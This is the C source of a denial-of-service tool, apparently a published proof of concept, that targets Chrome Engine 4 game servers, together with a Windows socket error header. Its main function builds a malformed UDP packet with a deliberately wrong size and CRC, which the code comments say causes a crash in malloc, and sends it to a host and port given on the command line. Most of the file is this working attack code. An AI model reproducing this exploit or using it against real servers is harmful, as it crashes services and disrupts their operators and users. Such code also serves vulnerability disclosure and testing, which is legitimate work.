----------------
chromerda.c
----------------
/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <time.h>
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#define sleep Sleep
#define ONESEC 1000
#define waitms(x) sleep(x)
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#define ONESEC 1
#define stristr strcasestr
#define stricmp strcasecmp
#define waitms(x) sleep(x * 1000)
#endif
typedef uint8_t u8;
typedef uint16_t u16;
typedef uint32_t u32;
#define VER "0.1"
#define PORT 27632
#define BUFFSZ 1400
void chrome_hash(u8 *data, int len);
int udp_sock(void);
int putxx(u8 *data, u32 num, int bits);
u32 resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd;
u16 port = PORT;
u8 buff[BUFFSZ],
*host,
*p;
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
setbuf(stdout, NULL);
fputs("\n"
"Chrome Engine 4 Denial of Service "VER"\n"
"by Luigi Auriemma\n"
"e-mail: aluigi@autistici.org\n"
"web: aluigi.org\n"
"\n", stdout);
if(argc < 2) {
printf("\n"
"Usage: %s <host> [port(%d)]>\n"
"\n", argv[0], port);
exit(1);
}
host = argv[1];
if(argc > 2) port = atoi(argv[2]);
peer.sin_addr.s_addr = resolv(host);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s : %hu\n",
inet_ntoa(peer.sin_addr), port);
sd = udp_sock();
p = buff;
p += putxx(p, 28, 8); // other types of packets: 23, 38 (nop), 64, 67
p += putxx(p, (-0x6f) - 5, 32); // this is caused by wrong crc
//p += putcc(p, 'A', (BUFFSZ - 2) - 5); // not needed since the crash is in malloc
p += putxx(p, 0, 16); // the WRONG crc
if(sendto(sd, buff, p - buff, 0, (struct sockaddr *)&peer, sizeof(struct sockaddr_in))
< 0) std_err();
fputc('.', stdout);
printf("\n- done, check the server manually\n");
close(sd);
return(0);
}
// the correct hash function plus the automatic adjusting of the size value
void chrome_hash(u8 *data, int len) {
int i;
u16 crc = 1735;
putxx(data + 1, len - 5, 32);
for(i = 0; i < len; i++) {
crc += (signed char)data[i];
}
data[i] = crc;
data[i+1] = crc >> 8;
}
int udp_sock(void) {
static struct linger ling = {1,1};
static int on = 1;
int sd;
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
setsockopt(sd, SOL_SOCKET, SO_LINGER, (char *)&ling, sizeof(ling));
setsockopt(sd, SOL_SOCKET, SO_BROADCAST, (char *)&on, sizeof(on));
return(sd);
}
int putxx(u8 *data, u32 num, int bits) {
int i,
bytes;
bytes = bits >> 3;
for(i = 0; i < bytes; i++) {
//data[i] = (num >> ((bytes - 1 - i) << 3));
data[i] = (num >> (i << 3));
}
return(bytes);
}
u32 resolv(char *host) {
struct hostent *hp;
u32 host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolv hostname (%s)\n", host);
exit(1);
} else host_ip = *(u32 *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("\nError");
exit(1);
}
#endif
----------------
winerr.h
----------------
/*
Header file used for manage errors in Windows
It support socket and errno too
(this header replace the previous sock_errX.h)
*/
#include <string.h>
#include <errno.h>
void std_err(void) {
char *error;
switch(WSAGetLastError()) {
case 10004: error = "Interrupted system call"; break;
case 10009: error = "Bad file number"; break;
case 10013: error = "Permission denied"; break;
case 10014: error = "Bad address"; break;
case 10022: error = "Invalid argument (not bind)"; break;
case 10024: error = "Too many open files"; break;
case 10035: error = "Operation would block"; break;
case 10036: error = "Operation now in progress"; break;
case 10037: error = "Operation already in progress"; break;
case 10038: error = "Socket operation on non-socket"; break;
case 10039: error = "Destination address required"; break;
case 10040: error = "Message too long"; break;
case 10041: error = "Protocol wrong type for socket"; break;
case 10042: error = "Bad protocol option"; break;
case 10043: error = "Protocol not supported"; break;
case 10044: error = "Socket type not supported"; break;
case 10045: error = "Operation not supported on socket"; break;
case 10046: error = "Protocol family not supported"; break;
case 10047: error = "Address family not supported by protocol family"; break;
case 10048: error = "Address already in use"; break;
case 10049: error = "Can't assign requested address"; break;
case 10050: error = "Network is down"; break;
case 10051: error = "Network is unreachable"; break;
case 10052: error = "Net dropped connection or reset"; break;
case 10053: error = "Software caused connection abort"; break;
case 10054: error = "Connection reset by peer"; break;
case 10055: error = "No buffer space available"; break;
case 10056: error = "Socket is already connected"; break;
case 10057: error = "Socket is not connected"; break;
case 10058: error = "Can't send after socket shutdown"; break;
case 10059: error = "Too many references, can't splice"; break;
case 10060: error = "Connection timed out"; break;
case 10061: error = "Connection refused"; break;
case 10062: error = "Too many levels of symbolic links"; break;
case 10063: error = "File name too long"; break;
case 10064: error = "Host is down"; break;
case 10065: error = "No Route to Host"; break;
case 10066: error = "Directory not empty"; break;
case 10067: error = "Too many processes"; break;
case 10068: error = "Too many users"; break;
case 10069: error = "Disc Quota Exceeded"; break;
case 10070: error = "Stale NFS file handle"; break;
case 10091: error = "Network SubSystem is unavailable"; break;
case 10092: error = "WINSOCK DLL Version out of range"; break;
case 10093: error = "Successful WSASTARTUP not yet performed"; break;
case 10071: error = "Too many levels of remote in path"; break;
case 11001: error = "Host not found"; break;
case 11002: error = "Non-Authoritative Host not found"; break;
case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
case 11004: error = "Valid name, no data record of requested type"; break;
default: error = strerror(errno); break;
}
fprintf(stderr, "\nError: %s\n", error);
exit(1);
}
